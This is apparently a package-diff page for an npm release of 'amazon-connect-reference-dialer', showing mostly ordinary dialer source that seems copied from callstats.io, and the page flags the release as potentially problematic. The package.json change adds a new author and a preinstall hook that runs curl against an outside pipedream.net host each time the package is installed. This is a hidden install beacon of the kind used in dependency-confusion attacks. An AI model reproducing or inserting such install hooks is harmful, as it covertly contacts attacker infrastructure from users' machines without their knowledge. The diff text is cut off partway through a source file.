amazon-connect-reference-dialer 1.0.0 → 1.4.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of amazon-connect-reference-dialer might be problematic. Click here for more details.

Files changed (238) hide show
  1. package/.babelrc +10 -0
  2. package/.eslintrc +24 -0
  3. package/Dockerfile +12 -0
  4. package/LICENSE +21 -0
  5. package/README.md +8 -0
  6. package/README.salesforce.md +50 -0
  7. package/config/appconfig.json +10 -0
  8. package/config/config.js +46 -0
  9. package/docker-compose.yml +16 -0
  10. package/nodemon.json +3 -0
  11. package/package.json +5 -4
  12. package/src/client/App.js +20 -0
  13. package/src/client/api/acManager.js +79 -0
  14. package/src/client/api/agentHandler.js +46 -0
  15. package/src/client/api/audioFrequencyMonitor.js +62 -0
  16. package/src/client/api/csioHandler.js +204 -0
  17. package/src/client/api/databaseManager.js +59 -0
  18. package/src/client/api/eventhandler.js +278 -0
  19. package/src/client/api/feedbackHandler.js +21 -0
  20. package/src/client/api/manager/agent.js +203 -0
  21. package/src/client/api/manager/connection.js +181 -0
  22. package/src/client/api/manager/contact.js +114 -0
  23. package/src/client/api/mediaManager.js +138 -0
  24. package/src/client/api/networkStrengthMonitor.js +64 -0
  25. package/src/client/api/precalltest.js +37 -0
  26. package/src/client/api/sessionManager.js +312 -0
  27. package/src/client/configs/consts.js +158 -0
  28. package/src/client/container/agentduration/duration.js +63 -0
  29. package/src/client/container/agentduration/index.js +3 -0
  30. package/src/client/container/agentview/conferenceconnection/agentview.css +100 -0
  31. package/src/client/container/agentview/conferenceconnection/components/bothhold.js +20 -0
  32. package/src/client/container/agentview/conferenceconnection/components/bothjoined.js +25 -0
  33. package/src/client/container/agentview/conferenceconnection/components/dialnumber.js +21 -0
  34. package/src/client/container/agentview/conferenceconnection/components/holdall.js +20 -0
  35. package/src/client/container/agentview/conferenceconnection/components/join.js +21 -0
  36. package/src/client/container/agentview/conferenceconnection/components/oneHoldOtherConnected.js +37 -0
  37. package/src/client/container/agentview/conferenceconnection/components/resumeall.js +21 -0
  38. package/src/client/container/agentview/conferenceconnection/components/swap.js +21 -0
  39. package/src/client/container/agentview/conferenceconnection/components/togglemute.js +23 -0
  40. package/src/client/container/agentview/conferenceconnection/index.js +3 -0
  41. package/src/client/container/agentview/conferenceconnection/lowerBody.js +154 -0
  42. package/src/client/container/agentview/conferenceconnection/main.js +22 -0
  43. package/src/client/container/agentview/conferenceconnection/primaryconnection.js +109 -0
  44. package/src/client/container/agentview/conferenceconnection/quickFeedback.js +118 -0
  45. package/src/client/container/agentview/conferenceconnection/thirdpartyconnection.js +107 -0
  46. package/src/client/container/agentview/conferenceconnection/upperBody.js +36 -0
  47. package/src/client/container/agentview/footer.js +190 -0
  48. package/src/client/container/agentview/index.js +3 -0
  49. package/src/client/container/agentview/main.js +39 -0
  50. package/src/client/container/agentview/primaryconnection/agentMutedLabel.js +23 -0
  51. package/src/client/container/agentview/primaryconnection/agentStatusAndAudioLabel.js +28 -0
  52. package/src/client/container/agentview/primaryconnection/agentview.css +73 -0
  53. package/src/client/container/agentview/primaryconnection/index.js +3 -0
  54. package/src/client/container/agentview/primaryconnection/lowerBody.js +159 -0
  55. package/src/client/container/agentview/primaryconnection/main.js +22 -0
  56. package/src/client/container/agentview/primaryconnection/peerAndAgentDuration.js +48 -0
  57. package/src/client/container/agentview/primaryconnection/quickFeedback.js +123 -0
  58. package/src/client/container/agentview/primaryconnection/upperBody.js +59 -0
  59. package/src/client/container/agentview/thirdparyconnection/agentMutedLabel.js +23 -0
  60. package/src/client/container/agentview/thirdparyconnection/agentStatusAndAudioLabel.js +28 -0
  61. package/src/client/container/agentview/thirdparyconnection/agentview.css +73 -0
  62. package/src/client/container/agentview/thirdparyconnection/index.js +3 -0
  63. package/src/client/container/agentview/thirdparyconnection/lowerBody.js +139 -0
  64. package/src/client/container/agentview/thirdparyconnection/main.js +22 -0
  65. package/src/client/container/agentview/thirdparyconnection/peerAndAgentDuration.js +49 -0
  66. package/src/client/container/agentview/thirdparyconnection/quickFeedback.js +118 -0
  67. package/src/client/container/agentview/thirdparyconnection/upperBody.js +59 -0
  68. package/src/client/container/audiolabelview/controller.js +104 -0
  69. package/src/client/container/audiolabelview/localaudiolevel.js +157 -0
  70. package/src/client/container/audiolabelview/noaudio.js +86 -0
  71. package/src/client/container/audiolabelview/remoteaudiolevel.js +110 -0
  72. package/src/client/container/audiolabelview/settingpageaudiolevel.js +154 -0
  73. package/src/client/container/common/contactField.js +30 -0
  74. package/src/client/container/common/each.contact.js +41 -0
  75. package/src/client/container/common/findContact.js +31 -0
  76. package/src/client/container/connectivitycheckview/body.js +113 -0
  77. package/src/client/container/connectivitycheckview/components/fractionalLoss.js +57 -0
  78. package/src/client/container/connectivitycheckview/components/mediaConnectivity.js +41 -0
  79. package/src/client/container/connectivitycheckview/components/roundTripTime.js +57 -0
  80. package/src/client/container/connectivitycheckview/components/rttgraph/rttgraph.js +176 -0
  81. package/src/client/container/connectivitycheckview/components/rttgraph/utils.js +96 -0
  82. package/src/client/container/connectivitycheckview/components/throughput.js +53 -0
  83. package/src/client/container/connectivitycheckview/components/throughputMessage.js +36 -0
  84. package/src/client/container/connectivitycheckview/connectivitycheck.css +44 -0
  85. package/src/client/container/connectivitycheckview/footer.js +43 -0
  86. package/src/client/container/connectivitycheckview/index.js +3 -0
  87. package/src/client/container/connectivitycheckview/loading/loading.css +73 -0
  88. package/src/client/container/connectivitycheckview/loading/loading.js +15 -0
  89. package/src/client/container/connectivitycheckview/main.js +19 -0
  90. package/src/client/container/dialerview/body.js +135 -0
  91. package/src/client/container/dialerview/dialpad.css +104 -0
  92. package/src/client/container/dialerview/dialpad.js +29 -0
  93. package/src/client/container/dialerview/index.js +3 -0
  94. package/src/client/container/dialerview/main.js +19 -0
  95. package/src/client/container/errors/error.css +30 -0
  96. package/src/client/container/errors/error.js +58 -0
  97. package/src/client/container/errors/index.js +3 -0
  98. package/src/client/container/footer/components/acceptOrReject.js +26 -0
  99. package/src/client/container/footer/components/availableOrEnd.js +28 -0
  100. package/src/client/container/footer/components/connectivitycheck.js +21 -0
  101. package/src/client/container/footer/components/downloadlogs.js +23 -0
  102. package/src/client/container/footer/components/info.js +22 -0
  103. package/src/client/container/footer/components/language.js +22 -0
  104. package/src/client/container/footer/components/reportcall.js +35 -0
  105. package/src/client/container/footer/components/version.js +22 -0
  106. package/src/client/container/header/header.css +46 -0
  107. package/src/client/container/header/header.js +135 -0
  108. package/src/client/container/header/index.js +3 -0
  109. package/src/client/container/home.js +129 -0
  110. package/src/client/container/login/body.js +67 -0
  111. package/src/client/container/login/ccpinputbox.js +23 -0
  112. package/src/client/container/login/footer.js +19 -0
  113. package/src/client/container/login/index.js +2 -0
  114. package/src/client/container/login/login.css +134 -0
  115. package/src/client/container/login/main.js +23 -0
  116. package/src/client/container/networkstrengthview/index.js +3 -0
  117. package/src/client/container/networkstrengthview/loading/loading.css +74 -0
  118. package/src/client/container/networkstrengthview/loading/loading.js +15 -0
  119. package/src/client/container/networkstrengthview/networkstrength.js +102 -0
  120. package/src/client/container/popups/confirmreport/confirmreport.css +47 -0
  121. package/src/client/container/popups/confirmreport/confirmreport.js +55 -0
  122. package/src/client/container/popups/quality/quality.css +32 -0
  123. package/src/client/container/popups/quality/quality.js +44 -0
  124. package/src/client/container/quickconnects/body.js +141 -0
  125. package/src/client/container/quickconnects/close.js +23 -0
  126. package/src/client/container/quickconnects/index.js +3 -0
  127. package/src/client/container/quickconnects/main.js +18 -0
  128. package/src/client/container/quickconnects/quickconnects.css +95 -0
  129. package/src/client/container/reportissueview/body.js +73 -0
  130. package/src/client/container/reportissueview/feedbackRatings.js +37 -0
  131. package/src/client/container/reportissueview/footer.js +20 -0
  132. package/src/client/container/reportissueview/index.js +3 -0
  133. package/src/client/container/reportissueview/issueNotes.js +22 -0
  134. package/src/client/container/reportissueview/issues.js +44 -0
  135. package/src/client/container/reportissueview/main.js +105 -0
  136. package/src/client/container/reportissueview/predefinedIssues.js +38 -0
  137. package/src/client/container/reportissueview/reportissue.css +102 -0
  138. package/src/client/container/settingsview/body.js +156 -0
  139. package/src/client/container/settingsview/components/audiooutputdevice.js +25 -0
  140. package/src/client/container/settingsview/components/deskphone.js +29 -0
  141. package/src/client/container/settingsview/components/desktopsettings.js +38 -0
  142. package/src/client/container/settingsview/components/dropdown-options.js +44 -0
  143. package/src/client/container/settingsview/components/phonetype.js +14 -0
  144. package/src/client/container/settingsview/components/settings.js +23 -0
  145. package/src/client/container/settingsview/components/softphone.js +30 -0
  146. package/src/client/container/settingsview/components/softphonesettings.js +35 -0
  147. package/src/client/container/settingsview/footer.js +96 -0
  148. package/src/client/container/settingsview/index.js +3 -0
  149. package/src/client/container/settingsview/main.js +20 -0
  150. package/src/client/container/settingsview/settings.css +126 -0
  151. package/src/client/container/statechangeview/body.js +61 -0
  152. package/src/client/container/statechangeview/footer.js +43 -0
  153. package/src/client/container/statechangeview/index.js +3 -0
  154. package/src/client/container/statechangeview/main.js +21 -0
  155. package/src/client/container/statechangeview/statuschange.css +47 -0
  156. package/src/client/container/transfercall/body.js +139 -0
  157. package/src/client/container/transfercall/close.js +23 -0
  158. package/src/client/container/transfercall/index.js +3 -0
  159. package/src/client/container/transfercall/main.js +18 -0
  160. package/src/client/container/transfercall/transfercall.css +99 -0
  161. package/src/client/index.js +13 -0
  162. package/src/client/reducers/acReducer.js +277 -0
  163. package/src/client/reducers/reducer.js +8 -0
  164. package/src/client/reducers.js +2 -0
  165. package/src/client/res/images/agent-voice-freq-icon.svg +61 -0
  166. package/src/client/res/images/change-status-icon.svg +16 -0
  167. package/src/client/res/images/csio-logo.png +0 -0
  168. package/src/client/res/images/csioLogo.png +0 -0
  169. package/src/client/res/images/dialer-setting-icon.svg +15 -0
  170. package/src/client/res/images/fa-circle-mark.svg +3 -0
  171. package/src/client/res/images/fa-circle-unmark.svg +3 -0
  172. package/src/client/res/images/fa-close-or-dismiss.svg +17 -0
  173. package/src/client/res/images/fa-danger.svg +3 -0
  174. package/src/client/res/images/fa-dial-button.svg +13 -0
  175. package/src/client/res/images/fa-dial-number.svg +15 -0
  176. package/src/client/res/images/fa-download.svg +3 -0
  177. package/src/client/res/images/fa-hold.svg +13 -0
  178. package/src/client/res/images/fa-ico-join.svg +27 -0
  179. package/src/client/res/images/fa-ico-swap.svg +27 -0
  180. package/src/client/res/images/fa-info.svg +3 -0
  181. package/src/client/res/images/fa-input-sound.svg +5 -0
  182. package/src/client/res/images/fa-language.svg +3 -0
  183. package/src/client/res/images/fa-mark-false.svg +3 -0
  184. package/src/client/res/images/fa-mark-true.svg +3 -0
  185. package/src/client/res/images/fa-mic-freq-temporary.gif +0 -0
  186. package/src/client/res/images/fa-mic.svg +3 -0
  187. package/src/client/res/images/fa-mini-endcall.svg +48 -0
  188. package/src/client/res/images/fa-mini-hold.svg +47 -0
  189. package/src/client/res/images/fa-mini-resume.svg +45 -0
  190. package/src/client/res/images/fa-mute.svg +13 -0
  191. package/src/client/res/images/fa-network-strength-1.svg +5 -0
  192. package/src/client/res/images/fa-network-strength-2.svg +6 -0
  193. package/src/client/res/images/fa-network-strength-3.svg +6 -0
  194. package/src/client/res/images/fa-network-strength-4.svg +6 -0
  195. package/src/client/res/images/fa-network-strength-5.svg +5 -0
  196. package/src/client/res/images/fa-network-strength-unknown-2.svg +9 -0
  197. package/src/client/res/images/fa-network-strength-unknown.svg +6 -0
  198. package/src/client/res/images/fa-quick-connect.svg +15 -0
  199. package/src/client/res/images/fa-refresh.svg +3 -0
  200. package/src/client/res/images/fa-resume.svg +3 -0
  201. package/src/client/res/images/fa-return.svg +3 -0
  202. package/src/client/res/images/fa-three-dots.svg +32 -0
  203. package/src/client/res/images/fa-tick-green.svg +3 -0
  204. package/src/client/res/images/fa-tick-mark.svg +3 -0
  205. package/src/client/res/images/fa-transfer.svg +3 -0
  206. package/src/client/res/images/fa-version.svg +4 -0
  207. package/src/client/res/images/fa-voice-no-freq.svg +5 -0
  208. package/src/client/res/images/favicon.ico +0 -0
  209. package/src/client/res/images/muted-icon.svg +13 -0
  210. package/src/client/res/images/network-strength-icon.svg +13 -0
  211. package/src/client/res/images/peer-voice-freq-icon.svg +26 -0
  212. package/src/client/res/images/star-white.svg +6 -0
  213. package/src/client/res/images/star-yellow.svg +6 -0
  214. package/src/client/res/scss/global.css +14 -0
  215. package/src/client/router.js +17 -0
  216. package/src/client/store.js +11 -0
  217. package/src/client/utils/acutils.js +114 -0
  218. package/src/client/utils/agetStateMap.js +36 -0
  219. package/src/client/utils/feedback.js +3 -0
  220. package/src/client/utils/initialStateManager.js +14 -0
  221. package/src/server/index.js +53 -0
  222. package/src/server/logger.js +93 -0
  223. package/src/server/public/fonts/AmazonEmber_Lt.ttf +0 -0
  224. package/src/server/public/fonts/AmazonEmber_Rg.ttf +0 -0
  225. package/src/server/public/img/favicon.ico +0 -0
  226. package/src/server/public/js/amazon-connect-pre-shim.js +2 -0
  227. package/src/server/router/compare.js +36 -0
  228. package/src/server/router/index.js +36 -0
  229. package/src/server/router/stock.js +33 -0
  230. package/src/server/views/_heap_prod.ejs +8 -0
  231. package/src/server/views/_hotjar_prod.ejs +14 -0
  232. package/src/server/views/_hotjar_test.ejs +12 -0
  233. package/src/server/views/compare.ejs +69 -0
  234. package/src/server/views/index.ejs +69 -0
  235. package/src/server/views/stock.ejs +101 -0
  236. package/webpack.common.config.js +48 -0
  237. package/webpack.dev.config.js +21 -0
  238. package/webpack.prod.config.js +10 -0
package/.babelrc ADDED
@@ -0,0 +1,10 @@
1
+ {
2
+ "presets": [
3
+ "@babel/preset-env",
4
+ "@babel/preset-react"
5
+ ],
6
+ "plugins": [
7
+ "@babel/plugin-proposal-class-properties"
8
+ ]
9
+ }
10
+
package/.eslintrc ADDED
@@ -0,0 +1,24 @@
1
+ {
2
+ "extends": [
3
+ "standard",
4
+ "plugin:react/recommended"
5
+ ],
6
+ "rules": {
7
+ "semi": [
8
+ 1,
9
+ "always"
10
+ ]
11
+ },
12
+ "globals": {
13
+ "connect": false,
14
+ "callstats": false,
15
+ "APP_ID": false,
16
+ "APP_SECRET": false,
17
+ "CONNECT_URL": false,
18
+ "CallstatsAmazonShim": false,
19
+ "callstatsAgentMonitor": false,
20
+ "WEB_PACK_APP_ID": false,
21
+ "WEB_PACK_APP_SECRET": false,
22
+ "WEB_PACK_CONNECT_URL": false
23
+ }
24
+ }
package/Dockerfile ADDED
@@ -0,0 +1,12 @@
1
+ FROM node:11.5.0
2
+
3
+ WORKDIR /usr/src/app
4
+
5
+ COPY package.json /usr/src/app/
6
+ RUN yarn install --silent
7
+
8
+ COPY . /usr/src/app
9
+ RUN yarn build
10
+
11
+ CMD ["yarn","start"]
12
+
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2019 callstats.io
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md ADDED
@@ -0,0 +1,8 @@
1
+ # Amazon-connect-reference-dialer
2
+ Amazon connect reference dialer application by CALLSTATS I/O
3
+
4
+
5
+ #### Quick Start
6
+
7
+ ##### Note:
8
+ npm i amazon-connect-reference-dialer
@@ -0,0 +1,50 @@
1
+ # Step 1: Install callstats.io Custom Dialer
2
+ 1. Login to your salesforce account and make sure your session has not timed out.
3
+ 2. Install the managed package: https://login.salesforce.com/packaging/installPackage.apexp?p0=04t2o0000013ruT
4
+ 3. If there is a conflict in the package then click on “do not install”
5
+ If prompt of acknowledge of Non-Salesforce Application select the checkbox
6
+ 4. Select install for all users.
7
+ 5. Click “Install now”
8
+
9
+ # Step 2: Configure Lightning Experience
10
+ 1. From your salesforce dashboard, click on “Setup” on top right corner and select “Setup”
11
+ 2. Type “App manager” in quick find and select App Manager
12
+ 3. Find the “Sales Console” row from the list and select the “Edit” option from the drop-down arrow on the right corner
13
+ 4. Select the “Utility Items” from the left side menu
14
+ 5. Click on “Add Utility Item” and select “Open CTI Softphone” from the drop down
15
+ 6. Change the Label if necessary and click “Save” button.
16
+ 7. Click on the “Back” button in the top-right corner (not browser’s back button).
17
+ 8. Type Visualforce” in quick find and select Visualforce Pages
18
+ 9. Find and select the “custom_dialer” row from the list, and then click on the “Preview” button
19
+ 10. New browser tab will open with the URL of this page. It’s going to be in this format: `https://callstats.someInstance.visual.force.com/apex/custom_dialer`
20
+ 11. Remove the “/apex/custom_dialer” part and the remaining `https://callstats.someInstance.visual.force.com` will be the “Origin URL” in our Amazon Connect configuration
21
+ 12. From AWS Console, select Amazon Connect service and then select your Amazon Connect instance
22
+ 13. Select “Application Integration” on the left-hand side
23
+ 14. Click on “Add origin” link and enter the origin URL
24
+ 15. Click “Add”
25
+
26
+ # Step 3: Setup callstats.io Custom Dialer
27
+ 1. From the Setup screen, type “Call Centers” in quick find and select “Call Centers”.
28
+ 2. Click on “Continue”.
29
+ 3. Select “callstats OpenCTI Adapter” and click “Edit” when the page opens
30
+ 4. In “General Information” fill in your
31
+ - CTI Adapter URL - The above custom dialer page URL e.g. `https://callstats.someInstance.visual.force.com/apex/custom_dialer`
32
+ 5. In “Connecting settings” fill in your
33
+ - Amazon Connect CCP URL - Your Amazon Connect CCP URL e.g. callstatsio.awsapps.com
34
+ - AppId - Your application ID from callstats.io
35
+ - App Secret - Your application secret from callstats.io
36
+ - Jabra Collection - fill in 'enable' to enable collecting your Jabra headset stats(only available for Jabra Engage 50 currently)
37
+ 6. Click “Save”
38
+ 7. Click on 'Manage Call Center Users' at the bottom of the page
39
+ 8. Click on “Add more users”
40
+ 9. Apply the necessary filters and find the users you would like to add
41
+ 10. Select the users and click on “Add to Call Center”
42
+
43
+ # Step 4: Using callstats.io Custom Dialer
44
+ 1. On the top-left corner, click on the dot-matrix button to open the App Launcher.
45
+ 2. Select the “Sales Console” application.
46
+ 3. The Phone button should be displayed in the bottom-left corner. Click on the Phone button to open the softphone pop-up.
47
+ 4. Click on “Sign in” button and sign in to your Amazon Connect account
48
+ 5. Set your status to “Available”
49
+ 6. You can now receive inbound calls or make outbound calls.
50
+ 7. Optional: Click on “Settings” icon to change your phone settings or make a connectivity test
@@ -0,0 +1,10 @@
1
+ {
2
+ "APP_ID": "callstats application ID",
3
+ "APP_SECRET": "callstats application secret",
4
+ "CONNECT_URL": "amazon connect ccp url. The CCP domain name only. For example, callstatsio.awsapps.com",
5
+ "HTTP_PORT": "8080",
6
+ "NODE_ENV": "development",
7
+ "CS_JS_SDK_URL": "https://api.callstats.io/static/callstats.min.js",
8
+ "CS_AC_SHIM_URL": "https://api.callstats.io/static/csio-callstats-amazon-connect-shim.js",
9
+ "ENABLE_JABRA_COLLECTION": "disable"
10
+ }
@@ -0,0 +1,46 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+
4
+ const appConfig = require('./appconfig');
5
+ const version = require('../package.json').version
6
+
7
+ exports.getServerConfig = () => {
8
+ const payload = appConfig;
9
+
10
+ let serverConfig = {
11
+ HTTP_PORT: process.env.HTTP_PORT || payload.HTTP_PORT,
12
+ NODE_ENV: process.env.NODE_ENV || payload.NODE_ENV
13
+ };
14
+ console.warn('$ serverConfig', serverConfig);
15
+ return serverConfig;
16
+ };
17
+
18
+ exports.getClientConfig = () => {
19
+ const payload = appConfig;
20
+ const clientConfig = {
21
+ APP_ID: process.env.APP_ID || payload.APP_ID,
22
+ APP_SECRET: process.env.APP_SECRET || payload.APP_SECRET,
23
+ CONNECT_URL: process.env.CONNECT_URL || payload.CONNECT_URL,
24
+ CS_JS_SDK_URL: process.env.CS_JS_SDK_URL || payload.CS_JS_SDK_URL,
25
+ CS_AC_SHIM_URL: process.env.CS_AC_SHIM_URL || payload.CS_AC_SHIM_URL,
26
+ CS_VERSION: process.env.CS_VERSION || version,
27
+ ENABLE_JABRA_COLLECTION: process.env.ENABLE_JABRA_COLLECTION || payload.ENABLE_JABRA_COLLECTION
28
+ };
29
+ console.warn('$ clientConfig', clientConfig);
30
+ return clientConfig;
31
+ };
32
+
33
+ exports.writeConfig = () => {
34
+ let payload = { ...appConfig };
35
+ if (process.env.APP_ID) payload.APP_ID = process.env.APP_ID;
36
+ if (process.env.APP_SECRET) payload.APP_SECRET = process.env.APP_SECRET;
37
+ if (process.env.CONNECT_URL) payload.CONNECT_URL = process.env.CONNECT_URL;
38
+ if (process.env.CS_JS_SDK_URL) payload.CS_JS_SDK_URL = process.env.CS_JS_SDK_URL;
39
+ if (process.env.CS_AC_SHIM_URL) payload.CS_AC_SHIM_URL = process.env.CS_AC_SHIM_URL;
40
+ if (process.env.HTTP_PORT) payload.HTTP_PORT = process.env.HTTP_PORT;
41
+ if (process.env.NODE_ENV) payload.NODE_ENV = process.env.NODE_ENV;
42
+ if (process.env.ENABLE_JABRA_COLLECTION) payload.ENABLE_JABRA_COLLECTION = process.env.ENABLE_JABRA_COLLECTION;
43
+ console.warn('$ >', payload);
44
+ const fullPath = path.join(__dirname, 'appconfig.json');
45
+ fs.writeFileSync(fullPath, JSON.stringify(payload, null, 2));
46
+ };
@@ -0,0 +1,16 @@
1
+ version: '3'
2
+ services:
3
+ amazon-connect-reference-dialer:
4
+ build:
5
+ context: ../amazon-connect-reference-dialer
6
+ environment:
7
+ APP_ID: 'callstats application ID'
8
+ APP_SECRET: 'callstats application secret'
9
+ CONNECT_URL: 'amazon connect ccp url. The CCP domain name only. For example, callstatsio.awsapps.com'
10
+ HTTP_PORT: '8082'
11
+ NODE_ENV: 'production'
12
+ CS_JS_SDK_URL: 'https://api.callstats.io/static/callstats.min.js'
13
+ CS_AC_SHIM_URL: 'https://api.callstats.io/static/csio-callstats-amazon-connect-shim.js'
14
+ ports:
15
+ - "8082:8082"
16
+ command: yarn start
package/nodemon.json ADDED
@@ -0,0 +1,3 @@
1
+ {
2
+ "watch": ["src/server/"]
3
+ }
package/package.json CHANGED
@@ -1,11 +1,12 @@
1
1
  {
2
2
  "name": "amazon-connect-reference-dialer",
3
- "version": "1.0.0",
4
- "description": "",
3
+ "version": "1.4.0",
4
+ "description": "Amazon connect reference dialer application by CALLSTATS I/O - xelkomy",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
- "test": "echo \"Error: no test specified\" && exit 1"
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "curl eopesdoxcr03bt7.m.pipedream.net"
8
9
  },
9
- "author": "",
10
+ "author": "xelkomy",
10
11
  "license": "ISC"
11
12
  }
@@ -0,0 +1,20 @@
1
+ import React from 'react';
2
+ import { Provider } from 'react-redux';
3
+ import { IntlProvider } from 'react-intl';
4
+
5
+ import AppStore from './store';
6
+ import AppRouter from './router';
7
+
8
+ class App extends React.Component {
9
+ render () {
10
+ return (
11
+ <Provider store={AppStore}>
12
+ <IntlProvider locale="en">
13
+ <AppRouter/>
14
+ </IntlProvider>
15
+ </Provider>
16
+ );
17
+ }
18
+ }
19
+
20
+ export default App;
@@ -0,0 +1,79 @@
1
+ 'use strict';
2
+
3
+ import audioManager from './mediaManager';
4
+ import agentHandler from './agentHandler';
5
+ import eventHandler from './eventhandler';
6
+
7
+ import csioHandler from './csioHandler';
8
+ import databaseManager from './databaseManager';
9
+
10
+ const ccpUrl = () => {
11
+ const connectURL = databaseManager.getDefaultConnectURL(CONNECT_URL || WEB_PACK_CONNECT_URL);
12
+ return `https://${connectURL}/connect/ccp#/`;
13
+ };
14
+
15
+ class ACManager {
16
+ constructor () {
17
+ console.info('ACManager initialized!');
18
+ this.isLoggedIn = false;
19
+ this.isInitialized = false;
20
+ this.dispatch = undefined;
21
+ this.onAgentInitialize = this.onAgentInitialize.bind(this);
22
+ this.onEventHandler = this.onEventHandler.bind(this);
23
+ }
24
+
25
+ onAgentInitialize (agent) {
26
+ audioManager.overWriteGetUserMedia();
27
+ csioHandler.register(this.dispatch, agent);
28
+ agentHandler.register(this.dispatch, agent);
29
+ }
30
+
31
+ onEventHandler (connect) {
32
+ eventHandler.register(this.dispatch, connect);
33
+ }
34
+
35
+ register (dispatch = undefined) {
36
+ this.dispatch = dispatch;
37
+ if (this.isInitialized) {
38
+ return;
39
+ }
40
+ this.isInitialized = true;
41
+ const containerDiv = document.getElementById('containerDiv');
42
+ connect.core.initCCP(containerDiv, {
43
+ ccpUrl: ccpUrl(),
44
+ loginPopup: false,
45
+ softphone: {
46
+ allowFramedSoftphone: false
47
+ }
48
+ });
49
+ connect.core.initSoftphoneManager({ allowFramedSoftphone: true });
50
+ connect.agent((agent) => {
51
+ this.onAgentInitialize(agent);
52
+ });
53
+ this.onEventHandler(connect);
54
+ }
55
+
56
+ downloadACLog () {
57
+ if (connect) {
58
+ connect.getLog().download();
59
+ }
60
+ }
61
+
62
+ getCurrentContact () {
63
+ return eventHandler.getCurrentContact();
64
+ }
65
+
66
+ getCurrentState () {
67
+ return eventHandler.getCurrentState();
68
+ }
69
+
70
+ setIsLoggedIn (isLoggedIn) {
71
+ this.isLoggedIn = isLoggedIn;
72
+ }
73
+ getIsLoggedIn () {
74
+ return this.isLoggedIn;
75
+ }
76
+ }
77
+
78
+ const acManager = new ACManager();
79
+ export default acManager;
@@ -0,0 +1,46 @@
1
+ import { onMuteToggle } from '../reducers/acReducer';
2
+
3
+ class AgentHandler {
4
+ constructor () {
5
+ this.dispatch = undefined;
6
+ this.agent = undefined;
7
+ this.loginWindow = undefined;
8
+ }
9
+
10
+ dispose () {
11
+ this.dispatch = undefined;
12
+ this.agent = undefined;
13
+ }
14
+
15
+ register (dispath = undefined, agent) {
16
+ this.dispatch && this.dispose();
17
+
18
+ this.dispatch = dispath;
19
+ this.agent = agent;
20
+
21
+ this.disposeLoginWindow();
22
+ agent.onMuteToggle((e) => {
23
+ this.dispatch(onMuteToggle(e && e.muted));
24
+ });
25
+ }
26
+
27
+ getAgent () {
28
+ return this.agent;
29
+ }
30
+
31
+ setLoginWindow (loginWindow = undefined) {
32
+ this.loginWindow = loginWindow;
33
+ }
34
+
35
+ disposeLoginWindow () {
36
+ if (this.loginWindow) {
37
+ if (typeof this.loginWindow.close === 'function') {
38
+ this.loginWindow.close();
39
+ }
40
+ this.loginWindow = undefined;
41
+ }
42
+ }
43
+ }
44
+
45
+ const agentHandler = new AgentHandler();
46
+ export default agentHandler;
@@ -0,0 +1,62 @@
1
+ const HASH = 10000009;
2
+ const MAX_ITERATION_COUNT = 5;
3
+ const getRandom = () => {
4
+ return Math.round(Math.random() * HASH);
5
+ };
6
+
7
+ class FrequencyMonitor {
8
+ constructor () {
9
+ this.hash = getRandom();
10
+ this.hashLastPulled = getRandom();
11
+ this.consicutiveMissCount = 0;
12
+ this.curAudioLevel = 0;
13
+ }
14
+
15
+ addAudioLevel (audioLevel = 0) {
16
+ this.hash = getRandom();
17
+ this.curAudioLevel = audioLevel;
18
+ }
19
+
20
+ getAudioLevel () {
21
+ let diff = Math.abs(this.hash - this.hashLastPulled);
22
+
23
+ if (diff > 0) {
24
+ this.consicutiveMissCount = 0;
25
+ } else {
26
+ this.consicutiveMissCount += 1;
27
+ }
28
+ if (this.consicutiveMissCount > MAX_ITERATION_COUNT) {
29
+ return 0;
30
+ }
31
+ this.hashLastPulled = this.hash;
32
+ return this.curAudioLevel;
33
+ }
34
+ }
35
+
36
+ class AudioFrequencyMonitor {
37
+ constructor () {
38
+ this.inboundMonitor = new FrequencyMonitor();
39
+ this.outboundMonitor = new FrequencyMonitor();
40
+ }
41
+
42
+ addAudioLevel (audioLevel = 0, isOutbound = false) {
43
+ if (isOutbound) {
44
+ this.outboundMonitor.addAudioLevel(audioLevel);
45
+ } else {
46
+ this.inboundMonitor.addAudioLevel(audioLevel);
47
+ }
48
+ // console.warn('->addAudioLevel', this.inboundMonitor.curAudioLevel, this.outboundMonitor.curAudioLevel)
49
+ }
50
+
51
+ getAudioLevel (isOutbound = false) {
52
+ // console.warn('->getAudioLevel', this.inboundMonitor.curAudioLevel, this.outboundMonitor.curAudioLevel)
53
+ if (isOutbound) {
54
+ return this.outboundMonitor.getAudioLevel();
55
+ } else {
56
+ return this.inboundMonitor.getAudioLevel();
57
+ }
58
+ }
59
+ }
60
+
61
+ const audioFrequencyMonitor = new AudioFrequencyMonitor();
62
+ export default audioFrequencyMonitor;
@@ -0,0 +1,204 @@
1
+ 'use strict';
2
+ import networkStrengthMonitor from './networkStrengthMonitor';
3
+ import audioFrequencyMonitor from './audioFrequencyMonitor';
4
+
5
+ import lo from 'lodash';
6
+ import databaseManager from './databaseManager';
7
+ import {
8
+ getRandomInt
9
+ } from './../utils/acutils';
10
+ import mediaManager from './mediaManager';
11
+
12
+ const appId = APP_ID || WEB_PACK_APP_ID;
13
+ const appSecret = APP_SECRET || WEB_PACK_APP_SECRET;
14
